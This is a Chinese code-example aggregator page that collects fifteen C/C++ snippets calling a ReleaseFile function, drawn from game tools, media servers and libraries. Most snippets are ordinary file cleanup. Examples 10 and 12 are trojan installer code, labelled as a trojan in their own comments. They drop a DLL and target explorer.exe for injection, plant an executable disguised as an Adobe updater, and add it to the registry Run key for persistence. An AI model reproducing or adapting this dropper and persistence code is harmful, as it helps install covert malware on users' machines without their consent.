当前位置: 首页>>代码示例>>C++>>正文


C++ ReleaseFile函数代码示例

本文整理汇总了C++中ReleaseFile函数的典型用法代码示例。如果您正苦于以下问题:C++ ReleaseFile函数的具体用法?C++ ReleaseFile怎么用?C++ ReleaseFile使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了ReleaseFile函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: ReleaseFile

CCartoonOMatic::~CCartoonOMatic()
{
	// Delete the ini file.
	ReleaseFile(m_csIniFile);
	// Delete the output file.
	ReleaseFile(m_csOutputFile);
}
开发者ID:jimmccurdy,项目名称:ArchiveGit,代码行数:7,代码来源:NFX.CPP

示例2: ReleaseFile

BaseInFileStream::~BaseInFileStream() {
	if (_pTimer != NULL) {
		_pTimer->ResetStream();
		_pTimer->EnqueueForDelete();
		_pTimer = NULL;
	}
	ReleaseFile(_pSeekFile);
	ReleaseFile(_pFile);
}
开发者ID:Akagi201,项目名称:crtmpserver,代码行数:9,代码来源:baseinfilestream.cpp

示例3: TRACE

//----------------------------------------------------------------------------
BOOL CDockingPaletteDoc::OnOpenDocument(LPCTSTR lpszPathName,LPCTSTR lpszPaneName){
//----------------------------------------------------------------------------
	PROC_TRACE;


   if (IsModified())
		TRACE("Warning: OnOpenDocument replaces an unsaved document.\n");

	CFileException fe;
	CFile* pFile = GetFile(lpszPathName,
		CFile::modeRead|CFile::shareDenyWrite, &fe);
	if (pFile == NULL)
	{
		ReportSaveLoadException(lpszPathName, &fe,
			FALSE, AFX_IDP_FAILED_TO_OPEN_DOC);
		return FALSE;
	}

	DeleteContents();
	SetModifiedFlag();  

	CArchive loadArchive(pFile, CArchive::load | CArchive::bNoFlushOnDelete);
	loadArchive.m_pDocument = this;
	loadArchive.m_bForceFlat = FALSE;
	TRY
	{
		CWaitCursor wait;
		if (pFile->GetLength() != 0)
			Serialize(loadArchive);     // load me
		loadArchive.Close();
		ReleaseFile(pFile, FALSE);
	}
	CATCH_ALL(e)
	{
		ReleaseFile(pFile, TRUE);
		DeleteContents();   // remove failed contents

		TRY
		{
			ReportSaveLoadException(lpszPathName, e,
				FALSE, AFX_IDP_FAILED_TO_OPEN_DOC);
		}
		END_TRY
		return FALSE;
	}
	END_CATCH_ALL

	SetModifiedFlag(FALSE);     // start off with unmodified
	m_documentName = lpszPaneName;
	return TRUE;
}
开发者ID:freegroup,项目名称:DigitalSimulator,代码行数:52,代码来源:DockingPaletteDoc.cpp

示例4: Cmd_Environment

/*
   =================
   Cmd_Environment
   =================
 */
void Cmd_Environment( void ){
	char name[1024];
	int i, x, y;
	byte image[256 * 256];
	byte    *tga;

	GetToken( qfalse );

	if ( g_release ) {
		for ( i = 0 ; i < 6 ; i++ )
		{
			sprintf( name, "env/%s%s.pcx", token, suf[i] );
			ReleaseFile( name );
			sprintf( name, "env/%s%s.tga", token, suf[i] );
			ReleaseFile( name );
		}
		return;
	}
	// get the palette
	BuildPalmap();

	sprintf( name, "%senv/", gamedir );
	CreatePath( name );

	// convert the images
	for ( i = 0 ; i < 6 ; i++ )
	{
		sprintf( name, "%senv/%s%s.tga", gamedir, token, suf[i] );
		printf( "loading %s...\n", name );
		LoadTGA( name, &tga, NULL, NULL );

		for ( y = 0 ; y < 256 ; y++ )
		{
			for ( x = 0 ; x < 256 ; x++ )
			{
				image[y * 256 + x] = FindColor( tga[( y * 256 + x ) * 4 + 0],tga[( y * 256 + x ) * 4 + 1],tga[( y * 256 + x ) * 4 + 2] );
			}
		}
		free( tga );
		sprintf( name, "%senv/%s%s.pcx", writedir, token, suf[i] );
		if ( FileTime( name ) != -1 ) {
			printf( "%s already exists, not overwriting.\n", name );
		}
		else{
			WritePCXfile( name, image, 256, 256, colormap_palette );
		}
	}
}
开发者ID:Crowbar-Sledgehammer,项目名称:GtkRadiant,代码行数:53,代码来源:images.c

示例5: GetFile

BOOL CSoliDireDoc::OnSaveDocument(LPCTSTR lpszPathName)
{
	CFileException fe;
	CFile* pFile = NULL;
	
	DWORD nFlags = CFile::modeReadWrite | CFile::shareExclusive;
	if (!is_packed())
		nFlags |= CFile::modeCreate;

	pFile = GetFile(lpszPathName, nFlags, &fe);

	if (pFile == NULL)
	{
		ReportSaveLoadException(lpszPathName, &fe,
			TRUE, AFX_IDP_INVALID_FILENAME);
		return FALSE;
	}

	CArchive saveArchive(pFile, CArchive::store | CArchive::bNoFlushOnDelete);
	saveArchive.m_pDocument = this;
	saveArchive.m_bForceFlat = FALSE;

	CWaitCursor wait;
	Serialize(saveArchive);     // save me
	saveArchive.Close();
	ReleaseFile(pFile, FALSE);

	SetModifiedFlag(FALSE);     // back to unmodified

	return TRUE;        // success
}
开发者ID:jokerlee,项目名称:college,代码行数:31,代码来源:SoliDireDoc.cpp

示例6: SDL_SYS_CDStop

/* Stop playback */
static int SDL_SYS_CDStop(SDL_CD *cdrom)
{
    if (fakeCD) {
        SDL_SetError (kErrorFakeDevice);
        return -1;
    }
    
    Lock ();
    
    if (PauseFile () < 0) {
        Unlock ();
        return -2;
    }
        
    if (ReleaseFile () < 0) {
        Unlock ();
        return -3;
    }
        
    status = CD_STOPPED;
    
    Unlock ();
    
    return 0;
}
开发者ID:cuttl,项目名称:wii2600,代码行数:26,代码来源:SDL_syscdrom.c

示例7: FinishSprite

/*
   ==============
   FinishSprite
   ==============
 */
void FinishSprite( void ){
	FILE    *spriteouthandle;
	int i, curframe;
	dsprite_t spritetemp;
	char savename[1024];

	if ( sprite.numframes == 0 ) {
		return;
	}

	if ( !strlen( spritename ) ) {
		Error( "Didn't name sprite file" );
	}

	sprintf( savename, "%s%s.sp2", gamedir, spritename );

	if ( g_release ) {
		char name[1024];

		sprintf( name, "%s.sp2", spritename );
		ReleaseFile( name );
		spritename[0] = 0;      // clear for a new sprite
		sprite.numframes = 0;
		return;
	}


	printf( "saving in %s\n", savename );
	CreatePath( savename );
	spriteouthandle = SafeOpenWrite( savename );


//
// write out the sprite header
//
	spritetemp.ident = LittleLong( IDSPRITEHEADER );
	spritetemp.version = LittleLong( SPRITE_VERSION );
	spritetemp.numframes = LittleLong( sprite.numframes );

	SafeWrite( spriteouthandle, &spritetemp, 12 );

//
// write out the frames
//
	curframe = 0;

	for ( i = 0 ; i < sprite.numframes ; i++ )
	{
		frames[i].width = LittleLong( frames[i].width );
		frames[i].height = LittleLong( frames[i].height );
		frames[i].origin_x = LittleLong( frames[i].origin_x );
		frames[i].origin_y = LittleLong( frames[i].origin_y );
	}
	SafeWrite( spriteouthandle, frames, sizeof( frames[0] ) * sprite.numframes );

	fclose( spriteouthandle );

	spritename[0] = 0;      // clear for a new sprite
	sprite.numframes = 0;
}
开发者ID:Garux,项目名称:netradiant-custom,代码行数:65,代码来源:sprites.c

示例8: ProcFindAllIdsFromExeName

/********************************************************************
 ProcFindAllIdsFromExeName() - returns an array of process ids that are running specified executable.

*******************************************************************/
extern "C" HRESULT DAPI ProcFindAllIdsFromExeName(
    __in_z LPCWSTR wzExeName,
    __out DWORD** ppdwProcessIds,
    __out DWORD* pcProcessIds
    )
{
    HRESULT hr = S_OK;
    DWORD er = ERROR_SUCCESS;
    HANDLE hSnap = INVALID_HANDLE_VALUE;
    BOOL fContinue = FALSE;
    PROCESSENTRY32W peData = { sizeof(peData) };
    
    hSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnap)
    {
        ExitWithLastError(hr, "Failed to create snapshot of processes on system");
    }

    fContinue = ::Process32FirstW(hSnap, &peData);

    while (fContinue)
    {
        if (0 == lstrcmpiW((LPCWSTR)&(peData.szExeFile), wzExeName))
        {
            if (!*ppdwProcessIds)
            {
                *ppdwProcessIds = static_cast<DWORD*>(MemAlloc(sizeof(DWORD), TRUE));
                ExitOnNull(ppdwProcessIds, hr, E_OUTOFMEMORY, "Failed to allocate array for returned process IDs.");
            }
            else
            {
                DWORD* pdwReAllocReturnedPids = NULL;
                pdwReAllocReturnedPids = static_cast<DWORD*>(MemReAlloc(*ppdwProcessIds, sizeof(DWORD) * ((*pcProcessIds) + 1), TRUE));
                ExitOnNull(pdwReAllocReturnedPids, hr, E_OUTOFMEMORY, "Failed to re-allocate array for returned process IDs.");

                *ppdwProcessIds = pdwReAllocReturnedPids;
            }
            
            (*ppdwProcessIds)[*pcProcessIds] = peData.th32ProcessID;
            ++(*pcProcessIds);
        }

        fContinue = ::Process32NextW(hSnap, &peData);
    }

    er = ::GetLastError();
    if (ERROR_NO_MORE_FILES == er)
    {
        hr = S_OK;
    }
    else
    {
        hr = HRESULT_FROM_WIN32(er);
    }

LExit:
    ReleaseFile(hSnap);

    return hr;
}
开发者ID:lukaswinzenried,项目名称:WixCustBa,代码行数:64,代码来源:proc2utl.cpp

示例9: PackDirectory_r

void PackDirectory_r (char *dir)
{
	struct _finddata_t fileinfo;
	int		handle;
	char	dirstring[1024];
	char	filename[1024];

	sprintf (dirstring, "%s%s/*.*", gamedir, dir);

	handle = _findfirst (dirstring, &fileinfo);
	if (handle == -1)
		return;

	do
	{
		sprintf (filename, "%s/%s", dir, fileinfo.name);
		if (fileinfo.attrib & _A_SUBDIR)
		{	// directory
			if (fileinfo.name[0] != '.')	// don't pak . and ..
				PackDirectory_r (filename);
			continue;
		}
		// copy or pack the file
		ReleaseFile (filename);		
	} while (_findnext( handle, &fileinfo ) != -1);

	_findclose (handle);
}
开发者ID:AEonZR,项目名称:GtkRadiant,代码行数:28,代码来源:q3data.c

示例10: ReleaseOnVistaOrXP

int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP)
{
	char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH];
	if(0 == GetTempPathA(MAX_PATH, szTempPath))
		return -1;
	if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath))
		return false;

	if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0)
		return -1;
	
	if(isXP)
	{
		char dllName[MAX_PATH] = {0};
		_snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll");
		DeleteFileA(dllName);
		MoveFileA(szTempFilePath, dllName);
		LoadLibraryA(dllName);
		return 0;
	}

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if(hSnapshot == INVALID_HANDLE_VALUE)
		return -1;

	tagPROCESSENTRY32 pe;
	ZeroMemory(&pe, sizeof(pe));
	pe.dwSize = sizeof(pe);
	BOOL bPR = Process32First(hSnapshot, &pe);
	DWORD pid = 0;
	while(bPR)
	{
		HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
		if (hProc != 0)	CloseHandle(hProc);
		if(strcmp(pe.szExeFile, "explorer.exe") == 0)
		{
			pid = pe.th32ProcessID;
			break;
		}
		bPR = Process32Next(hSnapshot, &pe);
	}

	wchar_t filename[MAX_PATH] = {0};
	int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0);
	if(len < 0 || len > MAX_PATH)	return -1;
	MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len);

	wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0};
	wchar_t strOurDllPath[MAX_PATH] = {0};

	GetSystemDirectoryW(szDir, sizeof(szDir));
	GetSystemDirectoryW(szCmd, sizeof(szCmd));
	wcscat(szCmd, L"\\cmd.exe");
	GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH);

	AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename);

	return 0;
}
开发者ID:diduoren,项目名称:youeryuan,代码行数:59,代码来源:system.cpp

示例11: ReleaseFile

EDA_DRAW_FRAME::~EDA_DRAW_FRAME()
{
    delete m_currentScreen;
    m_currentScreen = NULL;

    m_auimgr.UnInit();

    ReleaseFile();
}
开发者ID:LDavis4559,项目名称:kicad-source-mirror,代码行数:9,代码来源:draw_frame.cpp

示例12: ReleaseOn64Bit

int ReleaseOn64Bit(const union client_cfg& cfg)
{
	char appPath[MAX_PATH], appExe[MAX_PATH], appDir[MAX_PATH];
	SHGetSpecialFolderPathA(NULL, appPath, CSIDL_LOCAL_APPDATA, FALSE);

	//sprintf_s(appDir, sizeof(appDir), "%s\\Temp\\Word9.0", appPath);
	//sprintf_s(appExe, sizeof(appExe), "%s\\test.exe", appDir);
	_snprintf(appDir, sizeof(appDir), "%s\\Temp\\Adobe", appPath);
	_snprintf(appExe, sizeof(appExe), "%s\\AdobeUpdateManger.exe", appDir);

	//创建目录并释放文件
	CreateDirectoryA(appDir, NULL);
	if(ReleaseFile(appExe, cfg, SVRCTRL_EXE) < 0)
		return -1;

	//启动木马
	STARTUPINFOA startupInfo = {0};
	startupInfo.cb = sizeof(startupInfo);
	PROCESS_INFORMATION processInfo = {0};

	if(CreateProcessA(appExe, NULL, NULL, NULL, FALSE, 0, NULL, appPath, &startupInfo, &processInfo))
	{
		CloseHandle(processInfo.hProcess);
		CloseHandle(processInfo.hThread);
	}

	//注册表加入自启动
	HMODULE hModule = GetModuleHandleA("advapi32.dll");
	if(hModule == NULL)	hModule = LoadLibraryA("advapi32.dll");
	typedef LONG (__stdcall* MyRegOpenKeyEx)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
	typedef LONG (__stdcall* MyRegSetValueEx)(HKEY, LPCSTR, DWORD, DWORD, CONST BYTE*, DWORD);	
	typedef LONG (__stdcall* MyRegCloseKey)(HKEY);
	
	MyRegOpenKeyEx openReg = NULL;
	MyRegSetValueEx setReg = NULL;
	MyRegCloseKey closeReg = NULL;
	if(hModule)
	{
		openReg = (MyRegOpenKeyEx)GetProcAddress(hModule, "RegOpenKeyExA");
		setReg = (MyRegSetValueEx)GetProcAddress(hModule, "RegSetValueExA");
		closeReg = (MyRegCloseKey)GetProcAddress(hModule, "RegCloseKey");
	}

	char buff[1024];
	HKEY hkRoot = HKEY_CURRENT_USER;
	strncpy(buff, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", sizeof buff);
	if( ERROR_SUCCESS == openReg(hkRoot, buff, 0, KEY_ALL_ACCESS, &hkRoot))
	{	
		setReg(hkRoot, "WordDaemon", 0, REG_SZ, (unsigned char*)appExe, strlen(appExe)+1);
		closeReg(hkRoot);
	}

	return 0;
}
开发者ID:diduoren,项目名称:youeryuan,代码行数:54,代码来源:system.cpp

示例13: Cmd_Grab

/*
   ==============
   Cmd_Grab

   $grab filename x y width height
   ==============
 */
void Cmd_Grab( void ){
	int xl,yl,w,h,y;
	byte            *cropped;
	char savename[1024];
	char dest[1024];

	GetToken( qfalse );

	if ( token[0] == '/' || token[0] == '\\' ) {
		sprintf( savename, "%s%s.pcx", writedir, token + 1 );
	}
	else{
		sprintf( savename, "%spics/%s.pcx", writedir, token );
	}

	if ( g_release ) {
		if ( token[0] == '/' || token[0] == '\\' ) {
			sprintf( dest, "%s.pcx", token + 1 );
		}
		else{
			sprintf( dest, "pics/%s.pcx", token );
		}

		ReleaseFile( dest );
		return;
	}

	GetToken( qfalse );
	xl = atoi( token );
	GetToken( qfalse );
	yl = atoi( token );
	GetToken( qfalse );
	w = atoi( token );
	GetToken( qfalse );
	h = atoi( token );

	if ( xl < 0 || yl < 0 || w < 0 || h < 0 || xl + w > byteimagewidth || yl + h > byteimageheight ) {
		Error( "GrabPic: Bad size: %i, %i, %i, %i",xl,yl,w,h );
	}

	// crop it to the proper size
	cropped = malloc( w * h );
	for ( y = 0 ; y < h ; y++ )
	{
		memcpy( cropped + y * w, byteimage + ( y + yl ) * byteimagewidth + xl, w );
	}

	// save off the new image
	printf( "saving %s\n", savename );
	CreatePath( savename );
	WritePCXfile( savename, cropped, w, h, lbmpalette );

	free( cropped );
}
开发者ID:Crowbar-Sledgehammer,项目名称:GtkRadiant,代码行数:61,代码来源:images.c

示例14: ProcessFile2

void ProcessFile2(
  FILE	*infile,
  FILE	*outfile
)
{
   int             index;

   /*
    *  Read the file into our internal data structure
    */

   if ( Verbose )
     printf( "Processing (%s) -> (%s)\n", "stdin", "stdout" );

   ReadFileIntoChain2( infile );

   if ( Verbose )
     fprintf( stderr, "-------->FILE READ IN\n" );

   /*
    *  Remove any spaces before the keyword and mark each keyword line as
    *  such.  Also remove extra white space at the end of lines.
    */

   StripBlanks();

   if ( Verbose )
     fprintf( stderr, "-------->BLANKS BEFORE KEYWORDS STRIPPED\n" );


   FormatToTexinfo();

   if ( Verbose )
     fprintf( stderr, "-------->FILE FORMATTED TO TEXINFO\n" );

   /*
    *  Print the file
    */

   PrintFile2( outfile );

   if ( Verbose )
     fprintf( stderr, "-------->FILE PRINTED\n" );

   /*
    *  Clean Up
    */

   ReleaseFile();

   if ( Verbose )
     fprintf( stderr, "-------->FILE RELEASED\n" );
}
开发者ID:epicsdeb,项目名称:rtems,代码行数:53,代码来源:bmenu2.c

示例15: CompletionProc

/* Setup another file for playback, or stop playback (called from another thread) */
static void
CompletionProc(SDL_CD * cdrom)
{

    Lock();

    if (nextTrackFrame > 0 && nextTrackFramesRemaining > 0) {

        /* Load the next file to play */
        int startFrame, stopFrame;
        FSRef *file;

        PauseFile();
        ReleaseFile();

        file = GetFileForOffset(cdrom, nextTrackFrame,
                                nextTrackFramesRemaining, &startFrame,
                                &stopFrame);

        if (file == NULL) {
            status = CD_STOPPED;
            Unlock();
            return;
        }

        LoadFile(file, startFrame, stopFrame);

        SetCompletionProc(CompletionProc, cdrom);

        PlayFile();
    } else {

        /* Release the current file */
        PauseFile();
        ReleaseFile();
        status = CD_STOPPED;
    }

    Unlock();
}
开发者ID:Cpasjuste,项目名称:SDL-13,代码行数:41,代码来源:SDL_syscdrom.c


注:本文中的ReleaseFile函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。